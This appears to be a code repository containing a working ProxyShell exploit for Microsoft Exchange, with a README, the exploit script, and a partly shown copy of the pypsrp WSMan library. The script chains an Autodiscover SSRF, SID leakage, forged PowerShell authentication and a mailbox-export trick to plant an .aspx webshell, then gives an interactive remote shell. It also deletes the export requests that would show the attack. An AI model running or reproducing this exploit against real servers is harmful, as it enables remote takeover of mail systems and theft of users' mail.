├── README.md ├── exploit.py └── wsman.py /README.md: -------------------------------------------------------------------------------- 1 | # ProxyShell 2 | 3 | ## Install 4 | ``` 5 | git clone https://github.com/ktecv2000/ProxyShell 6 | cd ProxyShell 7 | virtualenv -p $(which python3) venv 8 | source venv/bin/activate 9 | pip3 install pypsrp 10 | cp wsman.py venv/lib/*/site-packages/pypsrp/wsman.py 11 | ``` 12 | 13 | ## Usage 14 | ``` 15 | python3 exploit.py 16 | ``` 17 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from urllib3.exceptions import InsecureRequestWarning 3 | import argparse 4 | import base64 5 | import struct 6 | import re 7 | from pypsrp.powershell import PowerShell, RunspacePool 8 | from pypsrp.wsman import WSMan 9 | import logging 10 | import smtplib 11 | import binascii 12 | import time 13 | import random 14 | import uuid 15 | import string 16 | 17 | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) 18 | user_agent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36." 19 | logger = logging.getLogger(__name__) 20 | 21 | 22 | def exploit_stage1(target, email): 23 | logger.debug("[Stage 1] Performing SSRF attack against Autodiscover") 24 | 25 | autoDiscoverBody = """ 26 | 27 | %s 28 | http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a 29 | 30 | 31 | """ % email 32 | 33 | # Perform the request to the target 34 | stage1 = requests.post("https://%s/autodiscover/autodiscover.json?@fucky0u.edu/autodiscover/autodiscover.xml?=&Email=autodiscover/autodiscover.json%%3f@fucky0u.edu" % (target), headers={ 35 | "Content-Type": "text/xml", 36 | "User-Agent": user_agent}, 37 | data=autoDiscoverBody, 38 | verify=False 39 | ) 40 | # If status code 200 is NOT returned, the request failed 41 | if stage1.status_code != 200: 42 | logger.error("[Stage 1] Request failed - Autodiscover Error!") 43 | exit() 44 | 45 | # If the LegacyDN information is not in the response, the request failed as well 46 | if "" not in stage1.content.decode('utf8').strip(): 47 | logger.error("[Stage 1] Cannot obtain required LegacyDN-information!") 48 | exit() 49 | 50 | # Define LegacyDN for further use in the script 51 | legacyDn = stage1.content.decode('utf8').strip().split("")[1].split("")[0] 52 | 53 | #print("[Stage 1] Successfully obtained DN: " + legacyDn) 54 | return legacyDn 55 | 56 | def exploit_stage2(target, legacyDn): 57 | logger.debug("[Stage 2] Performing malformed SSRF attack to obtain Security ID (SID) using endpoint /mapi/emsmdb against " + target) 58 | 59 | # Malformed MAPI body 60 | mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00" 61 | 62 | # Send the request 63 | stage2 = requests.post("https://%s/autodiscover/autodiscover.json?@fucky0u.edu/mapi/emsmdb/?=&Email=autodiscover/autodiscover.json%%3f@fucky0u.edu" % (target), 64 | headers={ 65 | "Content-Type": "application/mapi-http", 66 | "User-Agent": user_agent, 67 | "X-RequestId": "1337", 68 | "X-ClientApplication": "Outlook/15.00.0000.0000", 69 | # The headers X-RequestId, X-ClientApplication and X-requesttype are required for the request to work 70 | "x-requesttype": "connect"}, 71 | data=mapi_body, 72 | verify=False 73 | ) 74 | 75 | if stage2.status_code != 200 or "act as owner of a UserMailbox" not in stage2.content.decode('cp1252').strip(): 76 | logger.error("[Stage 2] Mapi Error!") 77 | exit() 78 | 79 | sid = stage2.content.decode('cp1252').strip().split("with SID ")[1].split(" and MasterAccountSid")[0] 80 | 81 | if sid.split("-")[-1] != "500": 82 | logger.warning("[Stage 2] User SID not an administrator, fixing user SID") 83 | base_sid = sid.split("-")[:-1] 84 | base_sid.append("500") 85 | sid = "-".join(base_sid) 86 | 87 | logger.debug("[Stage 2] Successfully obtained SID: " + sid) 88 | return sid 89 | 90 | def exploit_stage3(target, email, sid): 91 | logger.debug("[Stage 3] Accessing /Powershell Endpoint ...") 92 | payload_1 = b"V\x01\x00T\x07WindowsC\x00A\x05BasicL" + struct.pack("B", len(email)) + email.encode() + b"U" 93 | payload_FUZZ = b"," 94 | payload_2 = sid.encode() + b"G\x04\x00\x00\x00\x07\x00\x00\x00\x07S-1-1-0\x07\x00\x00\x00\x07S-1-5-2\x07\x00\x00\x00\x08S-1-5-11\x07\x00\x00\x00\x08S-1-5-15E\x00\x00\x00\x00" 95 | payload = payload_1 + payload_FUZZ + payload_2 96 | 97 | payload_b64 = base64.urlsafe_b64encode(payload).decode() 98 | stage4 = requests.get("https://%s/autodiscover/autodiscover.json?@fucky0u.edu/Powershell?X-Rps-CAT=%s&Email=autodiscover/autodiscover.json%%3F@fucky0u.edu" % (target, payload_b64), 99 | headers={ 100 | "Content-Type": "application/soap+xml;charset=UTF-8", 101 | "User-Agent": user_agent, 102 | }, 103 | verify=False 104 | ) 105 | 106 | if (stage4.status_code != 200): 107 | payload_FUZZ = b"-" 108 | payload = payload_1 + payload_FUZZ + payload_2 109 | payload_b64 = base64.urlsafe_b64encode(payload).decode() 110 | stage4 = requests.get("https://%s/autodiscover/autodiscover.json?@fucky0u.edu/Powershell?X-Rps-CAT=%s&Email=autodiscover/autodiscover.json%%3F@fucky0u.edu" % (target, payload_b64), 111 | headers={ 112 | "Content-Type": "application/soap+xml;charset=UTF-8", 113 | "User-Agent": user_agent, 114 | }, 115 | verify=False 116 | ) 117 | if (stage4.status_code != 200): 118 | for fuzz in range(0x100): 119 | payload = payload_1 + fuzz.encode() + payload_2 120 | payload_b64 = base64.urlsafe_b64encode(payload).decode() 121 | stage4 = requests.get("https://%s/autodiscover/autodiscover.json?@fucky0u.edu/Powershell?X-Rps-CAT=%s&Email=autodiscover/autodiscover.json%%3F@fucky0u.edu" % (target, payload_b64), 122 | headers={ 123 | "Content-Type": "application/soap+xml;charset=UTF-8", 124 | "User-Agent": user_agent, 125 | }, 126 | verify=False 127 | ) 128 | if (stage4.status_code == 200): 129 | #print("[Stage 3] Authentication Successfully") 130 | return payload_b64 131 | logger.error("[Stage 3] Authentication Failed") 132 | exit(1) 133 | else: 134 | logger.debug("[Stage 3] Authentication Successfully") 135 | return payload_b64 136 | else: 137 | logger.debug("[Stage 3] Authentication Successfully") 138 | return payload_b64 139 | 140 | def exploit_stage4(target, auth_b64, alias_name, subject, fShell): 141 | logger.debug("[Stage 4] Dealing with WSMV") 142 | wsman = WSMan(server=target, port=443, 143 | path='/autodiscover/autodiscover.json?@fucky0u.edu/Powershell?X-Rps-CAT=' + auth_b64 +'&Email=autodiscover/autodiscover.json%3F@fucky0u.edu', 144 | ssl="true", 145 | cert_validation=False) 146 | logger.debug("[Stage 4] Dealing with PSRP") 147 | with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool: 148 | logger.debug("[Stage 4] Assign Management Role") 149 | ps = PowerShell(pool) 150 | #ps.add_cmdlet("Get-User") 151 | ps.add_cmdlet("New-ManagementRoleAssignment") 152 | ps.add_parameter("Role", "Mailbox Import Export") 153 | ps.add_parameter("SecurityGroup", "Organization Management") 154 | output = ps.invoke() 155 | 156 | with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool: 157 | 158 | logger.debug("[Stage 4] Exporting MailBox as Webshell") 159 | ps = PowerShell(pool) 160 | ps.add_cmdlet("New-MailboxExportRequest") 161 | ps.add_parameter("Mailbox", alias_name) 162 | ps.add_parameter("Name", subject) 163 | ps.add_parameter("ContentFilter", "Subject -eq '%s'" % (subject)) 164 | ps.add_parameter("FilePath", "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\%s" % fShell) 165 | output = ps.invoke() 166 | logger.debug("[Stage 4] Webshell Path: c:\\inetpub\\wwwroot\\aspnet_client\\%s" % fShell) 167 | 168 | with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool: 169 | 170 | logger.debug("[Stage 4] Cleaning Notification") 171 | ps = PowerShell(pool) 172 | ps.add_script("Get-MailboxExportRequest | Remove-MailboxExportRequest -Confirm:$false") 173 | output = ps.invoke() 174 | 175 | def compressible_decode(payload): 176 | compEnc = [ 0x47, 0xf1, 0xb4, 0xe6, 0x0b, 0x6a, 0x72, 0x48, 0x85, 0x4e, 0x9e, 0xeb, 0xe2, 0xf8, 0x94, 177 | 0x53, 0xe0, 0xbb, 0xa0, 0x02, 0xe8, 0x5a, 0x09, 0xab, 0xdb, 0xe3, 0xba, 0xc6, 0x7c, 0xc3, 0x10, 0xdd, 0x39, 178 | 0x05, 0x96, 0x30, 0xf5, 0x37, 0x60, 0x82, 0x8c, 0xc9, 0x13, 0x4a, 0x6b, 0x1d, 0xf3, 0xfb, 0x8f, 0x26, 0x97, 179 | 0xca, 0x91, 0x17, 0x01, 0xc4, 0x32, 0x2d, 0x6e, 0x31, 0x95, 0xff, 0xd9, 0x23, 0xd1, 0x00, 0x5e, 0x79, 0xdc, 180 | 0x44, 0x3b, 0x1a, 0x28, 0xc5, 0x61, 0x57, 0x20, 0x90, 0x3d, 0x83, 0xb9, 0x43, 0xbe, 0x67, 0xd2, 0x46, 0x42, 181 | 0x76, 0xc0, 0x6d, 0x5b, 0x7e, 0xb2, 0x0f, 0x16, 0x29, 0x3c, 0xa9, 0x03, 0x54, 0x0d, 0xda, 0x5d, 0xdf, 0xf6, 182 | 0xb7, 0xc7, 0x62, 0xcd, 0x8d, 0x06, 0xd3, 0x69, 0x5c, 0x86, 0xd6, 0x14, 0xf7, 0xa5, 0x66, 0x75, 0xac, 0xb1, 183 | 0xe9, 0x45, 0x21, 0x70, 0x0c, 0x87, 0x9f, 0x74, 0xa4, 0x22, 0x4c, 0x6f, 0xbf, 0x1f, 0x56, 0xaa, 0x2e, 0xb3, 184 | 0x78, 0x33, 0x50, 0xb0, 0xa3, 0x92, 0xbc, 0xcf, 0x19, 0x1c, 0xa7, 0x63, 0xcb, 0x1e, 0x4d, 0x3e, 0x4b, 0x1b, 185 | 0x9b, 0x4f, 0xe7, 0xf0, 0xee, 0xad, 0x3a, 0xb5, 0x59, 0x04, 0xea, 0x40, 0x55, 0x25, 0x51, 0xe5, 0x7a, 0x89, 186 | 0x38, 0x68, 0x52, 0x7b, 0xfc, 0x27, 0xae, 0xd7, 0xbd, 0xfa, 0x07, 0xf4, 0xcc, 0x8e, 0x5f, 0xef, 0x35, 0x9c, 187 | 0x84, 0x2b, 0x15, 0xd5, 0x77, 0x34, 0x49, 0xb6, 0x12, 0x0a, 0x7f, 0x71, 0x88, 0xfd, 0x9d, 0x18, 0x41, 0x7d, 188 | 0x93, 0xd8, 0x58, 0x2c, 0xce, 0xfe, 0x24, 0xaf, 0xde, 0xb8, 0x36, 0xc8, 0xa1, 0x80, 0xa6, 0x99, 0x98, 0xa8, 189 | 0x2f, 0x0e, 0x81, 0x65, 0x73, 0xe4, 0xc2, 0xa2, 0x8a, 0xd4, 0xe1, 0x11, 0xd0, 0x08, 0x8b, 0x2a, 0xf2, 0xed, 190 | 0x9a, 0x64, 0x3f, 0xc1, 0x6c, 0xf9, 0xec ]; 191 | out = [None]*len(payload) 192 | for i in range(len(payload)): 193 | temp = ord(payload[i]) & 0xff 194 | out[i] = "%02x" % (compEnc[temp]) 195 | out = ''.join(out) 196 | return binascii.unhexlify(out) 197 | 198 | def get_random_string(length): 199 | letters = string.ascii_lowercase 200 | result_str = ''.join(random.choice(letters) for i in range(length)) 201 | return result_str 202 | 203 | def send_mail_to_victim(smtpsrv, port, user, passwd, victim, subject): 204 | sender = 'me@fucky0u.edu' 205 | 206 | shell_pass = get_random_string(10) 207 | payload = '\n' % (shell_pass) 208 | payload_compressible = compressible_decode(payload) 209 | 210 | message = ( 211 | b"From: %b\r\n" % (sender.encode()) + 212 | b"Content-transfer-encoding: 7bit\r\n"+ 213 | b"Content-type: text/plain; charset=\"utf-8\"\r\n"+ 214 | b"To: <%b>\r\n" % (victim.encode()) + 215 | b"Subject: %b\r\n" % (subject.encode()) + 216 | b"Hello: " + payload_compressible + b"\r\n" + 217 | b"\r\n"+ 218 | b"A" 219 | ) 220 | try: 221 | smtpObj = smtplib.SMTP(smtpsrv, port) 222 | smtpObj.sendmail(sender, victim, message) 223 | logger.debug("Successfully sent email") 224 | return shell_pass 225 | except: 226 | logger.debug("Error: unable to send email") 227 | exit(1) 228 | 229 | def webshell(target, fShell, shell_pass): 230 | cmd = '' 231 | logger.debug("Accessing Webshell Now ...") 232 | while not cmd == "exit" or cmd == "quit": 233 | cmd = input("sh3ll> ") 234 | command = requests.post("https://%s/aspnet_client/%s" % (target, fShell), headers={ 235 | "User-Agent": user_agent 236 | }, 237 | data= {shell_pass:"""var command=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("{}")); var c=new System.Diagnostics.ProcessStartInfo("cmd.exe");var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+command;e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write("ZZzzZzZz" + out.ReadToEnd()+EI.ReadToEnd() + "ZZzzZzZz");""".format(base64.b64encode(cmd.encode()).decode())}, 238 | verify=False 239 | ) 240 | try: 241 | output = re.search(b'ZZzzZzZz(.*)ZZzzZzZz', command.content, re.MULTILINE|re.DOTALL).group(1) 242 | print(output.decode("utf-8")) 243 | except: 244 | logger.error('something wrong with webshell..., it might be the Anti-Virus or some encoding problem, you can manually check/connect https://%s/aspnet_client/%s , the password is `%s`' % (target, fShell, shell_pass)) 245 | 246 | def main(args): 247 | target = args.target 248 | email = args.email 249 | alias_name = email.split('@')[0] 250 | subject = uuid.uuid4().hex 251 | fShell = get_random_string(6) + '.aspx' 252 | 253 | legacyDn = exploit_stage1(target, email) 254 | sid = exploit_stage2(target, legacyDn) 255 | auth_b64 = exploit_stage3(target, email, sid) 256 | 257 | if not args.smtp: 258 | target_smtp_ip, target_smtp_port = target, 25 259 | else: 260 | target_smtp_ip, target_smtp_port = args.smtp.split(':') 261 | shell_pass = send_mail_to_victim(target_smtp_ip, target_smtp_port, "aaa", "aaa", email, subject) 262 | logger.debug('litte sleep to wait for mail sending') 263 | time.sleep(10) 264 | logger.debug("[Stage 4] Writing Webshell ...") 265 | exploit_stage4(target, auth_b64, alias_name, subject, fShell) 266 | logger.debug('litte sleep to wait for mailbox exporting') 267 | time.sleep(10) 268 | webshell(target, fShell, shell_pass) 269 | exit(1) 270 | 271 | parser = argparse.ArgumentParser() 272 | parser.add_argument('target', help='the target Exchange Server ip') 273 | parser.add_argument('email', help='victim email') 274 | parser.add_argument("--smtp", type=str, help="target smtp server [smtp_ip:smtp_port], in case your target is not the destination for sending mail.") 275 | args = parser.parse_args() 276 | 277 | formatter = logging.Formatter(fmt='%(message)s') 278 | handler = logging.StreamHandler() 279 | handler.setFormatter(formatter) 280 | logger.addHandler(handler) 281 | logger.setLevel(logging.DEBUG) 282 | main(args) 283 | -------------------------------------------------------------------------------- /wsman.py: -------------------------------------------------------------------------------- 1 | # Copyright: (c) 2018, Jordan Borean (@jborean93) 2 | # MIT License (see LICENSE or https://opensource.org/licenses/MIT) 3 | 4 | from __future__ import division 5 | 6 | import ipaddress 7 | import time 8 | import logging 9 | import re 10 | import requests 11 | import sys 12 | import uuid 13 | import warnings 14 | 15 | from requests.packages.urllib3.util.retry import Retry 16 | 17 | from pypsrp.encryption import WinRMEncryption 18 | from pypsrp.exceptions import AuthenticationError, WinRMError, \ 19 | WinRMTransportError, WSManFaultError 20 | from pypsrp.negotiate import HTTPNegotiateAuth 21 | from pypsrp._utils import to_string, to_unicode, get_hostname 22 | 23 | try: 24 | from requests_credssp import HttpCredSSPAuth 25 | except ImportError as err: # pragma: no cover 26 | _requests_credssp_import_error = ( 27 | "Cannot use CredSSP auth as requests-credssp is not installed: %s" 28 | % err 29 | ) 30 | 31 | class HttpCredSSPAuth(object): 32 | def __init__(self, *args, **kwargs): 33 | raise ImportError(_requests_credssp_import_error) 34 | 35 | if sys.version_info[0] == 2 and sys.version_info[1] < 7: # pragma: no cover 36 | # ElementTree in Python 2.6 does not support namespaces so we need to use 37 | # lxml instead for this version 38 | from lxml import etree as ET 39 | else: # pragma: no cover 40 | import xml.etree.ElementTree as ET 41 | 42 | log = logging.getLogger(__name__) 43 | 44 | SUPPORTED_AUTHS = ["basic", "certificate", "credssp", "kerberos", 45 | "negotiate", "ntlm"] 46 | 47 | AUTH_KWARGS = { 48 | "certificate": ["certificate_key_pem", "certificate_pem"], 49 | "credssp": ["credssp_auth_mechanism", "credssp_disable_tlsv1_2", 50 | "credssp_minimum_version"], 51 | "negotiate": ["negotiate_delegate", "negotiate_hostname_override", 52 | "negotiate_send_cbt", "negotiate_service"], 53 | } 54 | 55 | # [MS-WSMV] 2.2.1 Namespaces 56 | # https://msdn.microsoft.com/en-us/library/ee878420.aspx 57 | NAMESPACES = { 58 | "s": "http://www.w3.org/2003/05/soap-envelope", 59 | "xs": "http://www.w3.org/2001/XMLSchema", 60 | "xsi": "http://www.w3.org/2001/XMLSchema-instance", 61 | "wsa": "http://schemas.xmlsoap.org/ws/2004/08/addressing", 62 | "wsman": "http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd", 63 | "wsmid": "http://schemas.dmtf.org/wbem/wsman/identify/1/wsmanidentity.xsd", 64 | "wsmanfault": "http://schemas.microsoft.com/wbem/wsman/1/wsmanfault", 65 | "cim": "http://schemas.dmtf.org/wbem/wscim/1/common", 66 | "wsmv": "http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd", 67 | "cfg": "http://schemas.microsoft.com/wbem/wsman/1/config", 68 | "sub": "http://schemas.microsoft.com/wbem/wsman/1/subscription", 69 | "rsp": "http://schemas.microsoft.com/wbem/wsman/1/windows/shell", 70 | "m": "http://schemas.microsoft.com/wbem/wsman/1/machineid", 71 | "cert": "http://schemas.microsoft.com/wbem/wsman/1/config/service/" 72 | "certmapping", 73 | "plugin": "http://schemas.microsoft.com/wbem/wsman/1/config/" 74 | "PluginConfiguration", 75 | "wsen": "http://schemas.xmlsoap.org/ws/2004/09/enumeration", 76 | "wsdl": "http://schemas.xmlsoap.org/wsdl", 77 | "wst": "http://schemas.xmlsoap.org/ws/2004/09/transfer", 78 | "wsp": "http://schemas.xmlsoap.org/ws/2004/09/policy", 79 | "wse": "http://schemas.xmlsoap.org/ws/2004/08/eventing", 80 | "i": "http://schemas.microsoft.com/wbem/wsman/1/cim/interactive.xsd", 81 | "xml": "http://www.w3.org/XML/1998/namespace", 82 | "pwsh": "http://schemas.microsoft.com/powershell", 83 | } 84 | 85 | 86 | class WSManAction(object): 87 | # WS-Management URIs 88 | GET = "http://schemas.xmlsoap.org/ws/2004/09/transfer/Get" 89 | GET_RESPONSE = "http://schemas.xmlsoap.org/ws/2004/09/transfer/GetResponse" 90 | PUT = "http://schemas.xmlsoap.org/ws/2004/09/transfer/Put" 91 | PUT_RESPONSE = "http://schemas.xmlsoap.org/ws/2004/09/transfer/PutResponse" 92 | CREATE = "http://schemas.xmlsoap.org/ws/2004/09/transfer/Create" 93 | CREATE_RESPONSE = "http://schemas.xmlsoap.org/ws/2004/09/transfer/" \ 94 | "CreateResponse" 95 | DELETE = "http://schemas.xmlsoap.org/ws/2004/09/transfer/Delete" 96 | DELETE_RESPONSE = "http://schemas.xmlsoap.org/ws/2004/09/transfer/" \ 97 | "DeleteResponse" 98 | ENUMERATE = "http://schemas.xmlsoap.org/ws/2004/09/enumeration/Enumerate" 99 | ENUMERATE_RESPONSE = "http://schemas.xmlsoap.org/ws/2004/09/enumeration/" \ 100 | "EnumerateResponse" 101 | PULL = "http://schemas.xmlsoap.org/ws/2004/09/enumeration/Pull" 102 | PULL_RESPONSE = "http://schemas.xmlsoap.org/ws/2004/09/enumeration/" \ 103 | "PullResponse" 104 | 105 | # MS-WSMV URIs 106 | COMMAND = "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Command" 107 | COMMAND_RESPONSE = "http://schemas.microsoft.com/wbem/wsman/1/windows/" \ 108 | "shell/CommandResponse" 109 | CONNECT = "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Connect" 110 | CONNECT_RESPONSE = "http://schemas.microsoft.com/wbem/wsman/1/windows/" \ 111 | "shell/ConnectResponse" 112 | DISCONNECT = "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/" \ 113 | "Disconnect" 114 | DISCONNECT_RESPONSE = "http://schemas.microsoft.com/wbem/wsman/1/" \ 115 | "windows/shell/DisconnectResponse" 116 | RECEIVE = "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive" 117 | RECEIVE_RESPONSE = "http://schemas.microsoft.com/wbem/wsman/1/windows/" \ 118 | "shell/ReceiveResponse" 119 | RECONNECT = "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/" \ 120 | "Reconnect" 121 | RECONNECT_RESPONSE = "http://schemas.microsoft.com/wbem/wsman/1/windows/" \ 122 | "shell/ReconnectResponse" 123 | SEND = "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Send" 124 | SEND_RESPONSE = "http://schemas.microsoft.com/wbem/wsman/1/windows/" \ 125 | "shell/SendResponse" 126 | SIGNAL = "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Signal" 127 | SIGNAL_RESPONSE = "http://schemas.microsoft.com/wbem/wsman/1/windows/" \ 128 | "shell/SignalResponse" 129 | 130 | 131 | class WSMan(object): 132 | 133 | def __init__(self, server, max_envelope_size=153600, operation_timeout=20, 134 | port=None, username=None, password=None, ssl=True, 135 | path="wsman", auth="negotiate", cert_validation=True, 136 | connection_timeout=30, encryption='auto', proxy=None, 137 | no_proxy=False, locale='en-US', data_locale=None, 138 | read_timeout=30, reconnection_retries=0, 139 | reconnection_backoff=2.0, **kwargs): 140 | """ 141 | Class that handles WSMan transport over HTTP. This exposes a method per 142 | action that takes in a resource and the header metadata required by 143 | that resource. 144 | 145 | This is required by the pypsrp.shell.WinRS and 146 | pypsrp.powershell.RunspacePool in order to connect to the remote host. 147 | It uses HTTP(S) to send data to the remote host. 148 | 149 | https://msdn.microsoft.com/en-us/library/cc251598.aspx 150 | 151 | :param server: The hostname or IP address of the host to connect to 152 | :param max_envelope_size: The maximum size of the envelope that can be 153 | sent to the server. Use update_max_envelope_size() to query the 154 | server for the true value 155 | :param max_envelope_size: The maximum size of a WSMan envelope that 156 | can be sent to the server 157 | :param operation_timeout: Indicates that the client expects a response 158 | or a fault within the specified time. 159 | :param port: The port to connect to, default is 5986 if ssl=True, else 160 | 5985 161 | :param username: The username to connect with 162 | :param password: The password for the above username 163 | :param ssl: Whether to connect over http or https 164 | :param path: The WinRM path to connect to 165 | :param auth: The auth protocol to use; basic, certificate, negotiate, 166 | credssp. Can also specify ntlm or kerberos to limit the negotiate 167 | protocol 168 | :param cert_validation: Whether to validate the server's SSL cert 169 | :param connection_timeout: The timeout for connecting to the HTTP 170 | endpoint 171 | :param read_timeout: The timeout for receiving from the HTTP endpoint 172 | :param encryption: Controls the encryption setting, default is auto 173 | but can be set to always or never 174 | :param proxy: The proxy URL used to connect to the remote host 175 | :param no_proxy: Whether to ignore any environment proxy vars and 176 | connect directly to the host endpoint 177 | :param locale: The wsmv:Locale value to set on each WSMan request. This 178 | specifies the language in which the client wants response text to 179 | be translated. The value should be in the format described by 180 | RFC 3066, with the default being 'en-US' 181 | :param data_locale: The wsmv:DataLocale value to set on each WSMan 182 | request. This specifies the format in which numerical data is 183 | presented in the response text. The value should be in the format 184 | described by RFC 3066, with the default being the value of locale. 185 | :param int reconnection_retries: Number of retries on connection 186 | problems 187 | :param float reconnection_backoff: Number of seconds to backoff in 188 | between reconnection attempts (first sleeps X, then sleeps 2*X, 189 | 4*X, 8*X, ...) 190 | :param kwargs: Dynamic kwargs based on the auth protocol set 191 | # auth='certificate' 192 | certificate_key_pem: The path to the cert key pem file 193 | certificate_pem: The path to the cert pem file 194 | 195 | # auth='credssp' 196 | credssp_auth_mechanism: The sub auth mechanism to use in CredSSP, 197 | default is 'auto' but can be 'ntlm' or 'kerberos' 198 | credssp_disable_tlsv1_2: Use TLSv1.0 instead of 1.2 199 | credssp_minimum_version: The minimum CredSSP server version to 200 | allow 201 | 202 | # auth in ['negotiate', 'ntlm', 'kerberos'] 203 | negotiate_send_cbt: Whether to send the CBT token on HTTPS 204 | connections, default is True 205 | 206 | # the below are only relevant when kerberos (or nego used kerb) 207 | negotiate_delegate: Whether to delegate the Kerb token to extra 208 | servers (credential delegation), default is False 209 | negotiate_hostname_override: Override the hostname used when 210 | building the server SPN 211 | negotiate_service: Override the service used when building the 212 | server SPN, default='WSMAN' 213 | """ 214 | log.debug("Initialising WSMan class with maximum envelope size of %d " 215 | "and operation timeout of %s" 216 | % (max_envelope_size, operation_timeout)) 217 | self.session_id = str(uuid.uuid4()) 218 | self.locale = locale 219 | self.data_locale = data_locale 220 | if self.data_locale is None: 221 | self.data_locale = self.locale 222 | self.transport = _TransportHTTP(server, port, username, password, ssl, 223 | path, auth, cert_validation, 224 | connection_timeout, encryption, proxy, 225 | no_proxy, read_timeout, 226 | reconnection_retries, 227 | reconnection_backoff, **kwargs) 228 | self.max_envelope_size = max_envelope_size 229 | self.operation_timeout = operation_timeout 230 | 231 | # register well known namespace prefixes so ElementTree doesn't 232 | # randomly generate them, saving packet space 233 | for key, value in NAMESPACES.items(): 234 | ET.register_namespace(key, value) 235 | 236 | # This is the approx max size of a Base64 string that can be sent in a 237 | # SOAP message payload (PSRP fragment or send input data) to the 238 | # server. This value is dependent on the server's MaxEnvelopSizekb 239 | # value set on the WinRM service and the default is different depending 240 | # on the Windows version. Server 2008 (R2) detaults to 150KiB while 241 | # newer hosts are 500 KiB and this can be configured manually. Because 242 | # we don't know the OS version before we connect, we set the default to 243 | # 150KiB to ensure we are compatible with older hosts. This can be 244 | # manually adjusted with the max_envelope_size param which is the 245 | # MaxEnvelopeSizekb value * 1024. Otherwise the 246 | # update_max_envelope_size() function can be called and it will gather 247 | # this information for you. 248 | self.max_payload_size = self._calc_envelope_size(max_envelope_size) 249 | 250 | def __enter__(self): 251 | return self 252 | 253 | def __exit__(self, type, value, traceback): 254 | self.close() 255 | 256 | def command(self, resource_uri, resource, option_set=None, 257 | selector_set=None, timeout=None): 258 | res = self.invoke(WSManAction.COMMAND, resource_uri, resource, 259 | option_set, selector_set, timeout) 260 | return res.find("s:Body", namespaces=NAMESPACES) 261 | 262 | def connect(self, resource_uri, resource, option_set=None, 263 | selector_set=None, timeout=None): 264 | res = self.invoke(WSManAction.CONNECT, resource_uri, resource, 265 | option_set, selector_set, timeout) 266 | return res.find("s:Body", namespaces=NAMESPACES) 267 | 268 | def create(self, resource_uri, resource, option_set=None, 269 | selector_set=None, timeout=None): 270 | res = self.invoke(WSManAction.CREATE, resource_uri, resource, 271 | option_set, selector_set, timeout) 272 | return res.find("s:Body", namespaces=NAMESPACES) 273 | 274 | def disconnect(self, resource_uri, resource, option_set=None, 275 | selector_set=None, timeout=None): 276 | res = self.invoke(WSManAction.DISCONNECT, resource_uri, resource, 277 | option_set, selector_set, timeout) 278 | return res.find("s:Body", namespaces=NAMESPACES) 279 | 280 | def delete(self, resource_uri, resource=None, option_set=None, 281 | selector_set=None, timeout=None): 282 | res = self.invoke(WSManAction.DELETE, resource_uri, resource, 283 | option_set, selector_set, timeout) 284 | return res.find("s:Body", namespaces=NAMESPACES) 285 | 286 | def enumerate(self, resource_uri, resource=None, option_set=None, 287 | selector_set=None, timeout=None): 288 | res = self.invoke(WSManAction.ENUMERATE, resource_uri, resource, 289 | option_set, selector_set, timeout) 290 | return res.find("s:Body", namespaces=NAMESPACES) 291 | 292 | def get(self, resource_uri, resource=None, option_set=None, 293 | selector_set=None, timeout=None): 294 | res = self.invoke(WSManAction.GET, resource_uri, resource, 295 | option_set, selector_set, timeout) 296 | return res.find("s:Body", namespaces=NAMESPACES) 297 | 298 | def pull(self, resource_uri, resource=None, option_set=None, 299 | selector_set=None, timeout=None): 300 | res = self.invoke(WSManAction.PULL, resource_uri, resource, 301 | option_set, selector_set, timeout) 302 | return res.find("s:Body", namespaces=NAMESPACES) 303 | 304 | def put(self, resource_uri, resource=None, option_set=None, 305 | selector_set=None, timeout=None): 306 | res = self.invoke(WSManAction.PUT, resource_uri, resource, 307 | option_set, selector_set, timeout) 308 | return res.find("s:Body", namespaces=NAMESPACES) 309 | 310 | def receive(self, resource_uri, resource, option_set=None, 311 | selector_set=None, timeout=None): 312 | res = self.invoke(WSManAction.RECEIVE, resource_uri, resource, 313 | option_set, selector_set) 314 | return res.find("s:Body", namespaces=NAMESPACES) 315 | 316 | def reconnect(self, resource_uri, resource=None, option_set=None, 317 | selector_set=None, timeout=None): 318 | res = self.invoke(WSManAction.RECONNECT, resource_uri, resource, 319 | option_set, selector_set, timeout) 320 | return res.find("s:Body", namespaces=NAMESPACES) 321 | 322 | def send(self, resource_uri, resource, option_set=None, 323 | selector_set=None, timeout=None): 324 | res = self.invoke(WSManAction.SEND, resource_uri, resource, 325 | option_set, selector_set, timeout) 326 | return res.find("s:Body", namespaces=NAMESPACES) 327 | 328 | def signal(self, resource_uri, resource, option_set=None, 329 | selector_set=None, timeout=None): 330 | res = self.invoke(WSManAction.SIGNAL, resource_uri, resource, 331 | option_set, selector_set, timeout) 332 | return res.find("s:Body", namespaces=NAMESPACES) 333 | 334 | def get_server_config(self, uri="config"): 335 | resource_uri = "http://schemas.microsoft.com/wbem/wsman/1/%s" % uri 336 | log.debug("Getting server config with URI %s" % resource_uri) 337 | return self.get(resource_uri) 338 | 339 | def update_max_payload_size(self, max_payload_size=None): 340 | """ 341 | Updates the MaxEnvelopeSize set on the current WSMan object for all 342 | future requests. 343 | 344 | :param max_payload_size: The max size specified in 